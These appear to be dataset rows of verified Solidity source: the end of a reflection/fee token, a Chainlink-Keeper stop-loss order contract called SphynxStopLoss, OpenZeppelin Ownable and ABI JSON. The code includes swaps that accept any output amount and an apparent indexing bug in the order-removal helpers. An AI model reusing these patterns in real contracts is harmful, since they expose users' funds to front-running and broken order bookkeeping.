function restoreAllFee() private {
_taxFee = _previousTaxFee;
_devFee = _previousDevFee;
_liquidityFee = _previousLiquidityFee;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity;
if (
overMinTokenBalance &&
!inSwapAndLiquify &&
from != uniswapV2Pair &&
swapAndLiquifyEnabled
) {
contractTokenBalance = numTokensSellToAddToLiquidity;
swapAndLiquify(contractTokenBalance);
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
uint256 half = contractTokenBalance.div(2);
uint256 otherHalf = contractTokenBalance.sub(half);
uint256 initialBalance = address(this).balance;
swapTokensForEth(half);
uint256 newBalance = address(this).balance.sub(initialBalance);
addLiquidity(otherHalf, newBalance);
emit SwapAndLiquify(half, newBalance, otherHalf);
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
owner(),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tDev) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_takeDev(tDev);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tDev) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_takeDev(tDev);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tDev) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_takeDev(tDev);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function setRouterAddress(address newRouter) external onlyOwner {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(newRouter);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
}
function setNumTokensSellToAddToLiquidity(uint256 amountToUpdate) external onlyOwner {
numTokensSellToAddToLiquidity = amountToUpdate;
}
} | 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||
SphynxStopLoss | contracts/StopLoss.sol | 0x1d3a23212d110f47b3846fc56a947746cfe3c970 | Solidity | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@uniswap/lib/contracts/libraries/TransferHelper.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@chainlink/contracts/src/v0.8/KeeperCompatible.sol";
import "./interfaces/ISphynxRouter.sol";
import "./interfaces/ISphynxFactory.sol";
contract SphynxStopLoss is Ownable, ReentrancyGuard, KeeperCompatible {
using SafeERC20 for IERC20;
struct Order {
uint256 id;
uint256 amountA;
uint256 amountB;
address tokenA;
address tokenB;
address user;
uint256 expiredAt;
address router;
bool isCanceled;
bool isSuccessed;
}
struct OrderMatchHelper {
address tokenA;
address tokenB;
uint256 tokenIn;
uint256 tokenOut;
}
uint256 public currentOrderId;
mapping(uint256 => Order) public orders;
mapping(address => uint256[]) public userOrderIds;
mapping(address => bool) public routers;
uint256 public staticFee = 10000000000000000; // 0.01 BNB INITIAL FEE
uint256 public sphynxFee = 500000000000000000000; // 500 SPHYNX TOKEN INITIAL FEE
uint256 public maxTxPoolLength = 20; // Initial max Tx Length
address public keepersRegistry; // Keepers Registry Contract address for performUpkeep
address public sphynxToken;
address payable public feeWallet;
uint256[] public activeOrderIds;
event OrderCreated(
uint256 id,
uint256 amountA,
uint256 amountB,
address tokenA,
address tokenB,
address owner,
address router
);
event OrderCanceled(uint256 id);
event RouterUpdated(address router, bool value);
event FeeUpdated(uint256 fee);
event OrderMatched(
uint256 id,
address token0,
address token1,
uint256 amount0,
uint256 amount1
);
event FeeWalletUpdated(address newWallet);
event SphynxTokenUpdated(address newSphynx);
event SphynxFeeUpdated(uint256 newFee);
event MaxTxPoolUpdated(uint256 newLength);
event KeepersRegistryUpdated(address newKeepersRegistry);
constructor() {
feeWallet = payable(msg.sender);
}
function addRouter(address _router, bool _value) external onlyOwner {
routers[_router] = _value;
emit RouterUpdated(_router, _value);
}
function updatedFee(uint256 _value) external onlyOwner {
staticFee = _value;
emit FeeUpdated(_value);
}
function updateFeeWallet(address _feeWallet) external onlyOwner {
feeWallet = payable(_feeWallet);
emit FeeWalletUpdated(_feeWallet);
}
function updateSphynxToken(address _sphynx) external onlyOwner {
sphynxToken = _sphynx;
emit SphynxTokenUpdated(_sphynx);
}
function updateSphynxFee(uint256 _newFee) external onlyOwner {
sphynxFee = _newFee;
emit SphynxFeeUpdated(_newFee);
}
function updateMaxTxPoolLength(uint256 _newLength) external onlyOwner {
maxTxPoolLength = _newLength;
emit MaxTxPoolUpdated(_newLength);
}
function updateKeepersRegistry(address _keepersRegistry)
external
onlyOwner
{
keepersRegistry = _keepersRegistry;
emit KeepersRegistryUpdated(_keepersRegistry);
}
function createOrder(
uint256 _amountA,
uint256 _amountB,
address _tokenA,
address _tokenB,
uint256 _expiredAt,
address _router,
bool _isSphynxFee
) external payable nonReentrant {
require(routers[_router], "not-router");
address pair = ISphynxFactory(ISphynxRouter(_router).factory()).getPair(
_tokenA,
_tokenB
);
require(pair != address(0), "pair-does-not-exist");
require(
msg.value >= staticFee ||
(_isSphynxFee && sphynxToken != address(0)),
"insuffient-fee"
);
if (sphynxToken != address(0) && _isSphynxFee) {
IERC20(sphynxToken).safeTransferFrom(
msg.sender,
feeWallet,
sphynxFee
);
} else {
feeWallet.transfer(msg.value);
}
Order memory newOrder;
newOrder.id = currentOrderId;
newOrder.amountA = _amountA;
newOrder.amountB = _amountB;
newOrder.tokenA = _tokenA;
newOrder.tokenB = _tokenB;
newOrder.user = msg.sender;
newOrder.router = _router;
newOrder.expiredAt = _expiredAt;
orders[currentOrderId] = newOrder;
activeOrderIds.push(currentOrderId);
userOrderIds[msg.sender].push(currentOrderId);
emit OrderCreated(
currentOrderId,
_amountA,
_amountB,
_tokenA,
_tokenB,
msg.sender,
_router
);
currentOrderId++;
}
function _removeActiveOrderId(uint256 _orderId) internal {
bool isRemoved = false;
for (uint256 i = 0; i < activeOrderIds.length; i++) {
if (activeOrderIds[i] == _orderId) {
activeOrderIds[i] = orders[activeOrderIds.length - 1].id;
activeOrderIds.pop();
isRemoved = true;
break;
}
}
require(isRemoved, "not-exist-on-active-order-list"); // check if removed or not
}
function _removeOrderIds(uint256 _orderId) internal {
uint256 i = 0;
for (; i < userOrderIds[msg.sender].length; i++) {
if (userOrderIds[msg.sender][i] == _orderId) {
userOrderIds[msg.sender][i] = orders[
userOrderIds[msg.sender].length - 1
].id;
userOrderIds[msg.sender].pop();
break;
}
}
_removeActiveOrderId(_orderId);
}
function _performOrders(uint256 _orderId) internal {
Order memory currentOrder = orders[_orderId];
orders[_orderId].isSuccessed = true;
address[] memory path = new address[](2);
path[0] = currentOrder.tokenA;
path[1] = currentOrder.tokenB;
address creator = currentOrder.user;
IERC20 tokenAContract = IERC20(path[0]);
tokenAContract.safeTransferFrom(
creator,
address(this),
currentOrder.amountA
);
ISphynxRouter router = ISphynxRouter(currentOrder.router);
tokenAContract.approve(
currentOrder.router,
tokenAContract.balanceOf(address(this))
);
router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
tokenAContract.balanceOf(address(this)),
0,
path,
creator,
block.timestamp + 120
);
emit OrderMatched(
currentOrder.id,
currentOrder.tokenA,
currentOrder.tokenB,
currentOrder.amountA,
currentOrder.amountB
);
_removeActiveOrderId(_orderId);
}
function executeOrders(
uint256[] memory _orderIds,
uint256 _index,
uint256[] memory matchOrderIds,
uint256 matchedIndex
) public {
require(msg.sender == address(this), "permission-denied");
for (uint256 i = 0; i < _index; i++) {
_removeActiveOrderId(_orderIds[i]);
}
for (uint256 j = 0; j < matchedIndex; j++) {
_performOrders(matchOrderIds[j]);
}
}
function checkUpkeep(bytes calldata)
external
view
override
returns (bool upkeepNeeded, bytes memory performData)
{
uint256[] memory expiredOrderIds = new uint256[](activeOrderIds.length);
uint256[] memory matchOrderIds = new uint256[](activeOrderIds.length);
OrderMatchHelper[] memory matchHelpers = new OrderMatchHelper[](
activeOrderIds.length
);
uint256 matchedIndex;
uint256 tokenIndex;
uint256 expiredIndex;
for (uint256 i = 0; i < activeOrderIds.length; i++) {
if (expiredIndex + matchedIndex > maxTxPoolLength) {
// check if it's reach max Tx length
break;
}
Order memory currentOrder = orders[activeOrderIds[i]];
ISphynxRouter router = ISphynxRouter(currentOrder.router);
if (currentOrder.expiredAt < block.timestamp) {
expiredOrderIds[expiredIndex] = activeOrderIds[i];
expiredIndex++;
continue;
}
bool tokenIndexFlag = false;
uint256 curTokenIn;
uint256 curTokenOut;
uint256 curTokenIndex;
address[] memory path = new address[](2);
path[0] = currentOrder.tokenA;
path[1] = currentOrder.tokenB;
for (uint256 tokenKey = 0; tokenKey < tokenIndex; tokenKey++) {
if (
matchHelpers[tokenKey].tokenA == path[0] &&
matchHelpers[tokenKey].tokenB == path[1]
) {
tokenIndexFlag = true;
curTokenIn = matchHelpers[tokenKey].tokenIn;
curTokenOut = matchHelpers[tokenKey].tokenOut;
curTokenIndex = tokenKey;
break;
}
}
if (
IERC20(path[0]).balanceOf(currentOrder.user) >=
currentOrder.amountA
) {
if (tokenIndexFlag) {
uint256[] memory amountsOut = router.getAmountsOut(
curTokenIn + currentOrder.amountA,
path
);
uint256 amountOut = amountsOut[1];
if (amountOut <= currentOrder.amountB + curTokenOut) {
matchOrderIds[matchedIndex] = activeOrderIds[i];
matchedIndex++;
matchHelpers[curTokenIndex].tokenIn =
curTokenIn +
currentOrder.amountA;
matchHelpers[curTokenIndex].tokenOut =
curTokenOut +
currentOrder.amountB;
}
} else {
uint256[] memory amountsOut = router.getAmountsOut(
currentOrder.amountA,
path
);
uint256 amountOut = amountsOut[1];
if (amountOut <= currentOrder.amountB) {
matchOrderIds[matchedIndex] = activeOrderIds[i];
matchedIndex++;
matchHelpers[tokenIndex].tokenIn = currentOrder.amountA;
matchHelpers[tokenIndex].tokenOut = currentOrder
.amountB;
matchHelpers[tokenIndex].tokenA = currentOrder.tokenA;
matchHelpers[tokenIndex].tokenB = currentOrder.tokenB;
tokenIndex++;
}
}
}
}
if (expiredIndex > 0 || matchedIndex > 0) {
upkeepNeeded = true;
performData = abi.encodeWithSignature(
"executeOrders(uint256[],uint256,uint256[],uint256)",
expiredOrderIds,
expiredIndex,
matchOrderIds,
matchedIndex
);
}
}
function performUpkeep(bytes calldata performData)
external
override
nonReentrant
{
require(msg.sender == keepersRegistry, "not-keepers-registry");
(bool success, ) = address(this).call(performData);
require(success, "not-success");
}
function cancelOrder(uint256 _orderId) external nonReentrant {
require(orders[_orderId].user == msg.sender, "not-an-owner");
orders[_orderId].isCanceled = true;
_removeOrderIds(_orderId);
emit OrderCanceled(_orderId);
}
function getUserOrders() external view returns (Order[] memory) {
Order[] memory userOrders = new Order[](
userOrderIds[msg.sender].length
);
uint256 orderIndex;
for (uint256 i = 0; i < userOrderIds[msg.sender].length; i++) {
uint256 orderId = userOrderIds[msg.sender][i];
userOrders[orderIndex] = orders[orderId];
orderIndex++;
}
return userOrders;
}
} | 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payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getUserOrders","outputs":[{"components":[{"internalType":"uint256","name":"id","type":"uint256"},{"internalType":"uint256","name":"amountA","type":"uint256"},{"internalType":"uint256","name":"amountB","type":"uint256"},{"internalType":"address","name":"tokenA","type":"address"},{"internalType":"address","name":"tokenB","type":"address"},{"internalType":"address","name":"user","type":"address"},{"internalType":"uint256","name":"expiredAt","type":"uint256"},{"internalType":"address","name":"router","type":"address"},{"internalType":"bool","name":"isCanceled","type":"bool"},{"internalType":"bool","name":"isSuccessed","type":"bool"}],"internalType":"struct SphynxStopLoss.Order[]","name":"","type":"tuple[]"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"keepersRegistry","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxPoolLength","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"orders","outputs":[{"internalType":"uint256","name":"id","type":"uint256"},{"internalType":"uint256","name":"amountA","type":"uint256"},{"internalType":"uint256","name":"amountB","type":"uint256"},{"internalType":"address","name":"tokenA","type":"address"},{"internalType":"address","name":"tokenB","type":"address"},{"internalType":"address","name":"user","type":"address"},{"internalType":"uint256","name":"expiredAt","type":"uint256"},{"internalType":"address","name":"router","type":"address"},{"internalType":"bool","name":"isCanceled","type":"bool"},{"internalType":"bool","name":"isSuccessed","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes","name":"performData","type":"bytes"}],"name":"performUpkeep","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"routers","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sphynxFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sphynxToken","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"staticFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_feeWallet","type":"address"}],"name":"updateFeeWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_keepersRegistry","type":"address"}],"name":"updateKeepersRegistry","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newLength","type":"uint256"}],"name":"updateMaxTxPoolLength","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newFee","type":"uint256"}],"name":"updateSphynxFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_sphynx","type":"address"}],"name":"updateSphynxToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"updatedFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"uint256","name":"","type":"uint256"}],"name":"userOrderIds","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"}] | v0.8.6+commit.11564f7e | true | 200 | Default | false | |||||
SphynxStopLoss | @openzeppelin/contracts/access/Ownable.sol | 0x1d3a23212d110f47b3846fc56a947746cfe3c970 | Solidity | // SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
} | [{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"OnlySimulatedBackend","type":"error"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"fee","type":"uint256"}],"name":"FeeUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"newWallet","type":"address"}],"name":"FeeWalletUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"newKeepersRegistry","type":"address"}],"name":"KeepersRegistryUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newLength","type":"uint256"}],"name":"MaxTxPoolUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"id","type":"uint256"}],"name":"OrderCanceled","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"id","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountA","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountB","type":"uint256"},{"indexed":false,"internalType":"address","name":"tokenA","type":"address"},{"indexed":false,"internalType":"address","name":"tokenB","type":"address"},{"indexed":false,"internalType":"address","name":"owner","type":"address"},{"indexed":false,"internalType":"address","name":"router","type":"address"}],"name":"OrderCreated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"id","type":"uint256"},{"indexed":false,"internalType":"address","name":"token0","type":"address"},{"indexed":false,"internalType":"address","name":"token1","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1","type":"uint256"}],"name":"OrderMatched","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"router","type":"address"},{"indexed":false,"internalType":"bool","name":"value","type":"bool"}],"name":"RouterUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newFee","type":"uint256"}],"name":"SphynxFeeUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"newSphynx","type":"address"}],"name":"SphynxTokenUpdated","type":"event"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"activeOrderIds","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_router","type":"address"},{"internalType":"bool","name":"_value","type":"bool"}],"name":"addRouter","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_orderId","type":"uint256"}],"name":"cancelOrder","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes","name":"","type":"bytes"}],"name":"checkUpkeep","outputs":[{"internalType":"bool","name":"upkeepNeeded","type":"bool"},{"internalType":"bytes","name":"performData","type":"bytes"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amountA","type":"uint256"},{"internalType":"uint256","name":"_amountB","type":"uint256"},{"internalType":"address","name":"_tokenA","type":"address"},{"internalType":"address","name":"_tokenB","type":"address"},{"internalType":"uint256","name":"_expiredAt","type":"uint256"},{"internalType":"address","name":"_router","type":"address"},{"internalType":"bool","name":"_isSphynxFee","type":"bool"}],"name":"createOrder","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"currentOrderId","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256[]","name":"_orderIds","type":"uint256[]"},{"internalType":"uint256","name":"_index","type":"uint256"},{"internalType":"uint256[]","name":"matchOrderIds","type":"uint256[]"},{"internalType":"uint256","name":"matchedIndex","type":"uint256"}],"name":"executeOrders","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feeWallet","outputs":[{"internalType":"address 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SphynxStopLoss.Order[]","name":"","type":"tuple[]"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"keepersRegistry","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxPoolLength","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"orders","outputs":[{"internalType":"uint256","name":"id","type":"uint256"},{"internalType":"uint256","name":"amountA","type":"uint256"},{"internalType":"uint256","name":"amountB","type":"uint256"},{"internalType":"address","name":"tokenA","type":"address"},{"internalType":"address","name":"tokenB","type":"address"},{"internalType":"address","name":"user","type":"address"},{"internalType":"uint256","name":"expiredAt","type":"uint256"},{"internalType":"address","name":"router","type":"address"},{"internalType":"bool","name":"isCanceled","type":"bool"},{"internalType":"bool","name":"isSuccessed","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes","name":"performData","type":"bytes"}],"name":"performUpkeep","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"routers","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sphynxFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sphynxToken","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"staticFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_feeWallet","type":"address"}],"name":"updateFeeWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_keepersRegistry","type":"address"}],"name":"updateKeepersRegistry","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newLength","type":"uint256"}],"name":"updateMaxTxPoolLength","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newFee","type":"uint256"}],"name":"updateSphynxFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_sphynx","type":"address"}],"name":"updateSphynxToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"updatedFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"uint256","name":"","type":"uint256"}],"name":"userOrderIds","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"}] | v0.8.6+commit.11564f7e | true | 200 | Default | false | |||||
SphynxStopLoss | @chainlink/contracts/src/v0.8/KeeperCompatible.sol | 0x1d3a23212d110f47b3846fc56a947746cfe3c970 | Solidity | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./KeeperBase.sol";
import "./interfaces/KeeperCompatibleInterface.sol";
abstract contract KeeperCompatible is KeeperBase, KeeperCompatibleInterface {} | [{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"OnlySimulatedBackend","type":"error"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"fee","type":"uint256"}],"name":"FeeUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"newWallet","type":"address"}],"name":"FeeWalletUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"newKeepersRegistry","type":"address"}],"name":"KeepersRegistryUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newLength","type":"uint256"}],"name":"MaxTxPoolUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"id","type":"uint256"}],"name":"OrderCanceled","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"id","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountA","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountB","type":"uint256"},{"indexed":false,"internalType":"address","name":"tokenA","type":"address"},{"indexed":false,"internalType":"address","name":"tokenB","type":"address"},{"indexed":false,"internalType":"address","name":"owner","type":"address"},{"indexed":false,"internalType":"address","name":"router","type":"address"}],"name":"OrderCreated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"id","type":"uint256"},{"indexed":false,"internalType":"address","name":"token0","type":"address"},{"indexed":false,"internalType":"address","name":"token1","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1","type":"uint256"}],"name":"OrderMatched","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"router","type":"address"},{"indexed":false,"internalType":"bool","name":"value","type":"bool"}],"name":"RouterUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newFee","type":"uint256"}],"name":"SphynxFeeUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"newSphynx","type":"address"}],"name":"SphynxTokenUpdated","type":"event"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"activeOrderIds","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_router","type":"address"},{"internalType":"bool","name":"_value","type":"bool"}],"name":"addRouter","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_orderId","type":"uint256"}],"name":"cancelOrder","outputs":[],"stateMutability":"no